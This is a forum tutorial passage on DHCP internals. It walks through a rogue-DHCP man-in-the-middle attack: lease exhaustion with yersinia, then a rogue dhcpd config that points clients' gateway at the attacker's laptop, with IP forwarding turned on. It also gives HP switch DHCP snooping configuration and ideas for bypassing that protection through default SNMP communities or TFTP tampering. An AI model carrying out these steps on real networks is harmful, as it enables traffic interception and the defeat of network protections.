of network configuration to clients by a server. DHCP is definied in RFC2131 and IANA (Internet Assigned
Numbers Authority) reserved UDP port 67 and 68 for that. DHCP gives the possibility to connect a client to
an existing network without setting stuff like ip address, subnetmask, gateway, dns server and so on
manually. The client only needs to be configured for automated obtaining of network configuration. DHCP is 
an extension to BOOTP (Bootstrap Protocol) which provides the opportunity to deploy "drive-less" workstations.
These workstations first get an IP address from the BOOTP server and afterwards the machine loads a
startable operating system from the network. DHCP is mostly compatible to BOOTP and it is possible to work
with BOOTP clients and servers. 
 
DHCP was developed for two major scenarios:
1. big networks with often changing topologies
2. For people who just want to have a network connection without needing to set it up by themselves.
 
what does a DHCP packet looks like
a DHCP packet consists of 32 Bit:
- op (1Byte): Information about the type of the packet (request = 1 and reply = 2)
- htype (1Byte): Networktype (e.g. 1 = Ethernet, 6 = IEEE 802 Network or 8 = FDDI)
- hlen (1Byte): Length of the physical network address in bytes (e.g. 6 = MAC/Ethernet-Address)
- hops (1Byte, optional): Number of DHCP-relay-agents on the path
- xid (4Byte): Connection ID between client and server
- secs (2 Byte): Time in seconds since boot time of the client
- flags (2 Byte): at this time only the first bit is used (shows if the client still has a valid IP address). 
  The other bits are reserved for future use
- ciaddr (4 Byte): Client IP address
- yiaddr (4 Byte): own IP address
- siaddr (4 Byte): Server IP address
- giaddr (4 Byte): relay agent IP address
- chaddr (16 Byte): Client MAC address
- sname (64 Byte): name of the DHCP Server if a specific is needed (this info is optional)
- file (128 Byte): name of a file which the DHCP server should send to the client via TFTP (this info is optional) 
 (e.g. config file for VOIP phone)
- options (variabel, optional): DHCP-Parameter and -Options (defined in RFC 2132)
 
DHCP Commands
- DHCPDISCOVER: The Client without an IP address sends a broadcast message for address offers to the network
- DHCPOFFER: The DHCP server answers the DHCPDISCOVERY request with equivalent data
- DHCPREQUEST: the client asks for an offered IP address
- DHCPACK: DHCP Server send acknowledgement to the DHCPREQUEST
- DHCPNAK: DHCP server denies the DHCPREQUEST
- DHCPDECLINE: Client disagress to the DHCPACK cause the address is already in use
- DHCPRELEASE: Client releases his IP configuration
- DHCPINFORM: Request for DHCP data without obtaining an IP address (cause the client has a static one)
 
How does a normal DHCP Conversation look like
The normal way DHCP communication looks like is often reffered to as DORA (Discover, Offer, Request and Acknowledgement)
 

 
Ok, this should be enough for that part of the tutorial. For further reading I would recommend this: 
http://en.wikipedia.org/wiki/DHCP
 
DHCP options
In general, DHCP packets carry a number of data fields that are more specifically called “options”. Each 
option is used to convey information about the client, a DHCP relay agent, or the DHCP server. 
Examples of DHCP options include:
- Option 3—The default gateway’s (router’s) IP address.
- Option 6—The DNS server’s IP address.
- Option 12—The client’s “host” name. In the case of Windows, this corresponds to the computer name.
- Option 50—The IP address requested by the client. If a client is renewing a previously assigned IP 
  address, this option specifies that IP address.
- Option 51—The IP address lease time.
- Option 53—The DHCP message type, e.g., Discover, Offer, and so forth.
- Option 54—The DHCP server’s IP address. This field would be filled in by a DHCP relay agent.
- Option 55—Identifies the parameters being requested by the client. This list can include the default 
  gateway, subnet mask of an assigned IP address, and NetBIOS support features.
- Option 58—IP address renewal time which is usually less than the lease time.
- Option 60—Identifies the client’s vendor class, e.g., Microsoft.
- Option 61—Provides identifying information about the client, such as the media connection type, e.g., 
  Ethernet, and the MAC address.
- Option 82—Provides identifying information about the DHCP relay agent.
 
4. DHCP vulnerabilities
lets start talking about the interesting part :-). 
DHCP is designed to work in the trusted internal network and does not provide authentication or access
controls. Because of this lack of built-in security, a DHCP server has no way to verify that the client
requesting an address is a legitimate client on the network. Also the DHCP client has no way to verify
that the DHCP server who is offering an address is a legitimate server. Therefore DHCP is vulnerable
to attacks from both rogue clients and servers
 
There are two typical DHCP attacks:
- Address spoofing: A rogue DHCP server on the network can assign invalid IP addressing information
to client devices. This includes the IP address of the client itself, the default gateway, DNS servers and
WINS servers. Without a valid IP address the client is not able to reach any service provided on the
network.
 
- Address exhaustion: An attacker can access the network and request IP addresses until the DHCP servers
supply of available IP address is exhausted. This prevents a legitimate client from receiving IP addresses
and accessing the network
 
Both of these attacks can disrupt network service and cause security breaches.
 

 
5. How to use these vulnerabilities
For this tutorial I want to show you how you can use a bit of both techniques explained in chapter 4.
The attack I will show you can be described like this:
Assuming we have a network 10.10.0.0/24 with a default gateway of 10.10.0.1 and a DHCP server with 10.10.0.2
As DHCP Discover is sent out via broadcast, the first DHCP server that answers gets the client. So we need
to make sure that our rogue DHCP Server is answering faster than the legitimate one. We dont want to assign
invalid IP addresses to make sure our attack is not recognized so fast. We will only change the default
gateway option to our Laptop IP address. This means all traffic for other subnets needs to pass our machine and 
this gives us the posibility for happy capturing and man-in-the-middle attacks :-)
 
Step 1
Plug your Laptop to the network and have a look at what you got. On Windows you can use ipconfig/all and
on Linux you can use ifconfig and some more
 
Windows
Code: [Select]
C:\>ipconfig /all
...
IP Address. . . . . . . . . . . . : 10.10.0.10
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.0.1
DNS Servers . . . . . . . . . . . : 10.10.0.3
DHCP Servers . . . . . . . . . . .: 10.10.0.2
Connection-specific DNS Suffix  . : test.local
...

 
Linux
Code: [Select]
root@evilbook:~ # ifconfig
eth0      ...
          inet addr:10.10.0.10  Bcast:10.10.0.255  Mask:255.255.255.0
          ...
 
root@evilbook:~ # cat /etc/resolv.conf
...
nameserver 10.10.0.3
...
 
root@evilbook:~ # route
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
...
default         10.10.0.1        0.0.0.0         UG    0      0        0 eth0
...

 
Ok, now we have all information that is needed for that attack and it was given to us without the need
to do anything. Isn't that very kind of the DHCP server. :-)
 
Now we can start our attack. I had planned to write a script which is doing DHCP flooding but with the knowledge
I have about programming at the moment I was not able to do it. So I decided to use the very nice little Linux 
tool called yersinia (can even do more then just DHCP attacks). On Debian it is simply installed by running
Code: [Select]
apt-get install yersinia 
or you can download it from this site: http://www.yersinia.net/index.htm
 
Before you start you should set your network configuration static:
Code: [Select]
root@evilbook:~ # ifconfig eth0 10.10.0.10 netmask 255.255.255.0
root@evilbook:~ # route add default gw 10.10.0.1
root@evilbook:~ # echo nameserver 10.10.0.3 > /etc/resolv.conf

 
After installation you can fire it up by running:
Code: [Select]
yersinia -I or yersinia -G
-I starts the interactive console and -G starts the graphical mode 
 
After you started the graphical interface select the "DHCP" Tab, click on "Launch Attack" and select
"sending DISCOVER packet"

 
before you click on "OK" we take a short look at our DHCP Server leases
Code: [Select]
root@server:/# cat /var/lib/dhcp3/dhcpd.leases
# The format of this file is documented in the dhcpd.leases(5) manual page.
# This lease file was written by isc-dhcp-V3.1.3

 
Ok, as there are no leases at the moment we click on ok to start the attack. After we waited a bit
(1 min. I suggest) we stop the attack and take a look at our DHCP server leases
 
Code: [Select]
root@server:/# cat /var/lib/dhcp3/dhcpd.leases
# The format of this file is documented in the dhcpd.leases(5) manual page.
# This lease file was written by isc-dhcp-V3.1.3
lease 10.10.0.11 {
  starts 3 2012/08/15 17:38:03;
  ends 3 2012/08/15 17:48:03;
  cltt 3 2012/08/15 17:38:03;
  binding state active;
  next binding state free;
}
...
lease 10.10.0.254 {
  starts 3 2012/08/15 17:38:03;
  ends 3 2012/08/15 17:48:03;
  cltt 3 2012/08/15 17:38:03;
  binding state active;
  next binding state free;
}
...

 
As you see there is no address's left for assignment. Now we can start up our own DHCP server 
my configuration looks like this:
Code: [Select]
root@evilbook:~ # cat /etc/dhcp3/dhcpd.conf
ddns-update-style ad-hoc;
default-lease-time 600;
max-lease-time 7200;
authoritative;
subnet 10.10.0.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option broadcast-address 10.10.0.255;
option routers 10.10.0.10;
option domain-name-servers 10.10.0.3;
range 10.10.0.11 10.10.0.255; }

 
You may have noticed that I set the default gateway option to the IP of my notebook. 
Start the Server and your favorite packet capturing tool. To verify that there are client connecting
to you server you can always look at the leases file.
 
Last but not least we need to tell our rogue DHCP box that it needs to forward ip packets:
Code: [Select]
echo 1 > /proc/sys/net/ipv4/ip_forward
 
6. Protecting against DHCP attacks
Again this is from a networker point of view and I focus on the hp way of doing things. If you need to 
know how this can be done on cisco you can read this one: 
http://forum.intern0t.org/security-tutorials-guides/758-preventing-arp-dhcp-spoofing-cisco-switches.html
 
DHCP-Snooping
DHCP snooping differentiates between trusted and untrusted ports
- Drops DHCP server packets from untrusted ports
- Filters DHCP client packets
- builds a DHCP IP address to MAC address binding database
 
HP switches that support the DHCP snooping feature can protect your network against these DHCP address 
spoofing and exhaustion attacks. With DHCP snooping configured, the switch takes the role of a security 
guard, overseeing DHCP exchanges and ensuring that DHCP clients and servers act as they should.
 
As part of the DHCP snooping process, the switch distinguishes between trusted and untrusted ports. 
Trusted ports connect to the network’s own trusted devices, such as the DHCP server. The switch allows 
DHCP packets to flow freely on these ports. On untrusted ports, the switch inspects DHCP packets to 
determine whether or not the packets will be allowed.
 
Here are three of the types of activities performed by the DHCP snooping feature:
- DHCP server packets should not originate from untrusted ports. So if the switch detects these types 
of packets, it immediately discards them.
- The switch also verifies information in DHCP client packets before allowing the packets onto the 
network. For example, the switch drops packets in which the source MAC address does not match the DHCP 
check MAC address—a sign of spoofing.
- The switch can also be configured to handle packets that have the DHCP option 82 parameter 
present— another potential sign of suspicious behavior.
 
Using option 82 with DHCP snooping
The DHCP snooping feature blocks DHCP attacks by filtering DHCP packets on untrusted ports. In addition, 
the DHCP snooping feature can facilitate the functions of DHCP itself by using option 82.
 
Option 82 can be used to provide identifying information about the DHCP relay agent. Option 82 allows a 
DHCP server to apply specialized configuration policies when assigning IP addresses and other 
configuration information to clients based on what value is in option 82. For example, you may want 
certain ranges of IP addresses to be associated with certain areas of the network. Or, a service
provider’s DHCP server might limit a certain switch port to a set number of IP addresses, ensuring that a 
subscriber network does not consume too many IP addresses.
 
To a DHCP server, however, all incoming DHCP packets will “look alike” without option 82 information 
specified. With option 82, the switch acts as the DHCP server’s eyes, adding the information that the 
DHCP server needs so that it can select the correct configuration policy. This information includes the 
following:
- Remote ID—The remote identifier corresponds to an address identifier of the switch. It can be the 
switch’s IP address or MAC address.
- Circuit ID—The circuit identifier corresponds to the physical switch port on which the client DHCP 
request was received.
 
A general requirement of option 82 is that a switch must act as the relay for the DHCP request in order to
modify or insert the information. Therefore, unless a switch is the DHCP relay, it cannot normally 
manipulate DHCP requests and must forward the DHCP packets.
 
This limitation can affect the following two scenarios:
- Another switch acts as the DHCP relay, but is not configured to insert the correct value for option 82 
or does not support the capability.
- The DHCP client is on the same subnet as the DHCP server, so the switch does not need to act as a relay. 
That is, the DHCP client and DHCP server can potentially communicate directly with the switch merely 
forwarding the packets.
 
However, with DHCP snooping enabled on a VLAN, the switch can inspect all DHCP packets on untrusted ports. 
This configuration capability allows the switch to modify or insert option 82 for those scenarios where 
the DHCP client and server are in the same subnet.
 
for more information about option 82 you can read this: http://tools.ietf.org/html/rfc3046
I know its hard to read these RFC memos but you will find all informations on it.
 
Implementing DHCP Snooping on HP switch
 
1. Enable DHCP Snooping globally and then for each vlan to be protectet
Code: [Select]
hpswitch(config)# dhcp-snooping
hpswitch(config)# dhcp-snooping vlan 5
hpswitch(config)# dhcp-snooping vlan 10

 
2. define trusted port (where your DHCP server is located) All other ports are untrusted by default
Code: [Select]
hpswitch(config)# dhcp-snooping trust 1
 
3. Optinally define the IP address of your DHCP server
Code: [Select]
hpswitch(config)# dhcp-snooping authorized-server 10.10.0.2
 
4. Configure Option 82 (This is optional)
If switch has multiple VLANs that use the same DHCP server, you would typically select the subnet-ip option
Options are: mac (default), subnet-ip, mgmt-ip
Code: [Select]
hpswitch(config)# dhcp-snooping option 82 remote-id subnet-ip
Specify how the switch deals with DHCP requests from untrusted endpoints that have option 82 already set
Options are: drop (default), keep, replace
Code: [Select]
hpswitch(config)# dhcp-snooping option 82 untrusted-policy replace
 
5. Tell the switch where it should save the dhcp-snooping database
Code: [Select]
hpswitch(config)# dhcp-snooping database file tftp://10.10.0.250/core-bind.db
 
Summary: DHCP snooping
 
DHCP snooping protects against attacks involving IP address spoofing and IP address exhaustion
 
The primary configuration steps are:
- Enable DHCP snooping globally
- Specify the VLANs to be protected
- Define trusted ports
 
With DHCP snooping enabled, a switch differentiates between trusted and untrusted ports
- Drops DHCP server packets received on untrusted ports
- Filters/modifies DHCP client packets received on untrusted ports
 
A DHCP IP address to MAC address binding database is used to track valid DHCP assignments
A DHCP server uses information in option 82 to apply the correct policies to DHCP requests
- A switch with DHCP snooping enabled can control DHCP requests containing this option and can also modify the value
 
7. Some ideas to get past DHCP protection features
 
with DHCP snooping its just the same as it is with ARP protection. There is not really a way around it. As the switch
is using trusted and untrusted ports it will not help to spoof the MAC address of the original DHCP server.
But as administrators are only human they do mistakes and maybe you can find a way around it. 
e.g they forgot to change the default snmp value which looks like:
Code: [Select]
snmp-server community "public" Unrestricted 
if you can do snmpwalk against the switch try using this MIB and try to turn off DHCP snooping: hpicfDhcpSnoop.mib
From my experience I can tell that not many companies implement these features. Implementing some kind of ARP
or DHCP protection means that you don't trust your employees. You need to know, if a feature like ARP protection
reports an attack and you can indentify who is causing this, the guy is going to be fired. It's not just playing
around .. you will be treated as identity theft. 
As you know most companies are using virtualization for there servers like VMWare. Mostly (in a bit greater Enviroment)
Blades will be used and they share a Uplink to the Network. If you manage to get control over a VM you can use it.
Maybe the vm you are on is using the same link to the network as the DHCP server does. But if you managed to break into
the virtual infrastructure you wont need that kind of attack anymore :-)
On thing I can imagine is to break in to the TFTP server and edit the dhcp-snooping database. If you managed to do that
you should at least be able to do some ARP attacks. 
 
And thats all for this tutorial.
 
Thanks for reading and I hope you enjoyed. Thanks again to Daemon for correcting my mistakes :-)

Pages: [1] 2